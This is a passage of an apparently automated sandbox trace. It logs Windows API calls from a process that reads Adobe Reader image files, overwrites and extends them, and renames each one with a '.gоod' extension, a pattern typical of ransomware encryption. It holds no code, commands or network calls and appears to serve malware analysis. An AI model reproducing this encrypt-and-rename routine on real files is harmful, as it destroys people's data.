out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x6d [0104.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.532] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.532] GetFileType (hFile=0x6e0) returned 0x1 [0104.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.532] GetFileType (hFile=0x6e0) returned 0x1 [0104.532] ReadFile (in: hFile=0x6e0, lpBuffer=0x34b0470, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x34b0470*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0104.588] CloseHandle (hObject=0x6e0) returned 1 [0104.589] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x6d [0104.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.589] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.589] GetFileType (hFile=0x6e0) returned 0x1 [0104.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.589] GetFileType (hFile=0x6e0) returned 0x1 [0104.589] WriteFile (in: hFile=0x6e0, lpBuffer=0x34af170*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x34af170*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0104.590] CloseHandle (hObject=0x6e0) returned 1 [0104.590] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif", lpFilePart=0x0) returned 0x6d [0104.590] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif.gоod", lpFilePart=0x0) returned 0x72 [0104.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0104.590] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a8ca9b6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3b39)) returned 1 [0104.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0104.590] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_2x.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_2x.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_2x.gif.gоod")) returned 1 [0104.761] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x6e [0104.761] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0104.761] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int.gif"), fInfoLevelId=0x0, lpFileInformation=0x330e400 | out: lpFileInformation=0x330e400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a3e)) returned 1 [0104.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0104.762] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x6e [0104.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0104.762] GetFileType (hFile=0x7c8) returned 0x1 [0104.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.762] GetFileType (hFile=0x7c8) returned 0x1 [0104.762] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0104.762] ReadFile (in: hFile=0x7c8, lpBuffer=0x330e8c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x330e8c8*, lpNumberOfBytesRead=0x1fdec488*=0xa3e, lpOverlapped=0x0) returned 1 [0104.774] CloseHandle (hObject=0x7c8) returned 1 [0104.775] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x6e [0104.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.775] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0104.775] GetFileType (hFile=0x7c8) returned 0x1 [0104.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.775] GetFileType (hFile=0x7c8) returned 0x1 [0104.775] SetFilePointer (in: hFile=0x7c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1a3e [0104.775] WriteFile (in: hFile=0x7c8, lpBuffer=0x3313620*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x3313620*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0104.775] CloseHandle (hObject=0x7c8) returned 1 [0104.775] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x6e [0104.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.775] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0104.775] GetFileType (hFile=0x7c8) returned 0x1 [0104.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.776] GetFileType (hFile=0x7c8) returned 0x1 [0104.776] ReadFile (in: hFile=0x7c8, lpBuffer=0x3315938, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x3315938*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0104.848] CloseHandle (hObject=0x7c8) returned 1 [0104.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x6e [0104.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.848] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0104.848] GetFileType (hFile=0x7c8) returned 0x1 [0104.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.848] GetFileType (hFile=0x7c8) returned 0x1 [0104.848] WriteFile (in: hFile=0x7c8, lpBuffer=0x3314638*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x3314638*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0104.848] CloseHandle (hObject=0x7c8) returned 1 [0104.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif", lpFilePart=0x0) returned 0x6e [0104.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif.gоod", lpFilePart=0x0) returned 0x73 [0104.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0104.849] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3ab53538, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1a4e)) returned 1 [0104.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0104.849] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int.gif.gоod")) returned 1 [0104.849] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x71 [0104.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0104.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int_2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x33b8fd8 | out: lpFileInformation=0x33b8fd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4038)) returned 1 [0104.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0104.967] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x71 [0104.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.967] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.967] GetFileType (hFile=0x6e0) returned 0x1 [0104.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.967] GetFileType (hFile=0x6e0) returned 0x1 [0104.967] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x1000 [0104.967] ReadFile (in: hFile=0x6e0, lpBuffer=0x32f1a50, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec488, lpOverlapped=0x0 | out: lpBuffer=0x32f1a50*, lpNumberOfBytesRead=0x1fdec488*=0x1000, lpOverlapped=0x0) returned 1 [0104.970] CloseHandle (hObject=0x6e0) returned 1 [0104.970] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x71 [0104.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0104.970] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0104.970] GetFileType (hFile=0x6e0) returned 0x1 [0104.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0104.970] GetFileType (hFile=0x6e0) returned 0x1 [0104.970] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fdec4b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fdec4b8*=0) returned 0x4038 [0104.970] WriteFile (in: hFile=0x6e0, lpBuffer=0x32f2ec0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fdec3a8, lpOverlapped=0x0 | out: lpBuffer=0x32f2ec0*, lpNumberOfBytesWritten=0x1fdec3a8*=0x10, lpOverlapped=0x0) returned 1 [0105.016] CloseHandle (hObject=0x6e0) returned 1 [0105.016] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x71 [0105.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0105.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0105.016] GetFileType (hFile=0x6e0) returned 0x1 [0105.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0105.017] GetFileType (hFile=0x6e0) returned 0x1 [0105.017] ReadFile (in: hFile=0x6e0, lpBuffer=0x3397520, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fdec438, lpOverlapped=0x0 | out: lpBuffer=0x3397520*, lpNumberOfBytesRead=0x1fdec438*=0x1000, lpOverlapped=0x0) returned 1 [0105.047] CloseHandle (hObject=0x6e0) returned 1 [0105.047] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebe40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x71 [0105.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec360) returned 1 [0105.047] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int_2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0105.047] GetFileType (hFile=0x6e0) returned 0x1 [0105.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec2d0) returned 1 [0105.047] GetFileType (hFile=0x6e0) returned 0x1 [0105.047] WriteFile (in: hFile=0x6e0, lpBuffer=0x3396210*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fdec4e8, lpOverlapped=0x0 | out: lpBuffer=0x3396210*, lpNumberOfBytesWritten=0x1fdec4e8*=0x1010, lpOverlapped=0x0) returned 1 [0105.048] CloseHandle (hObject=0x6e0) returned 1 [0105.048] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif", lpFilePart=0x0) returned 0x71 [0105.048] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif.gоod", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif.gоod", lpFilePart=0x0) returned 0x76 [0105.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec420) returned 1 [0105.048] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int_2x.gif"), fInfoLevelId=0x0, lpFileInformation=0x1fdec500 | out: lpFileInformation=0x1fdec500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3ad42d5f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4048)) returned 1 [0105.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec3e0) returned 1 [0105.048] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int_2x.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\A12_Spinner_int_2x.gif.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\a12_spinner_int_2x.gif.gоod")) returned 1 [0105.559] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png", nBufferLength=0x105, lpBuffer=0x1fdebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png", lpFilePart=0x0) returned 0x67 [0105.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec460) returned 1 [0105.559] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\images\\adc_logo.png"), fInfoLevelId=0x0, lpFileInformation=0x3680318 | out: lpFileInformation=0x3680318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d)) returned 1 [0105.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fdec420) returned 1 [0105.560] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png", nBufferLength=0x105, lpBuffer=0x1fdebdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png", lpFilePart=0x0) returned 0x67 [0105.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fdec310) returned 1 [0105.560] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\adc_logo.png" (normalized: "c:\\program files 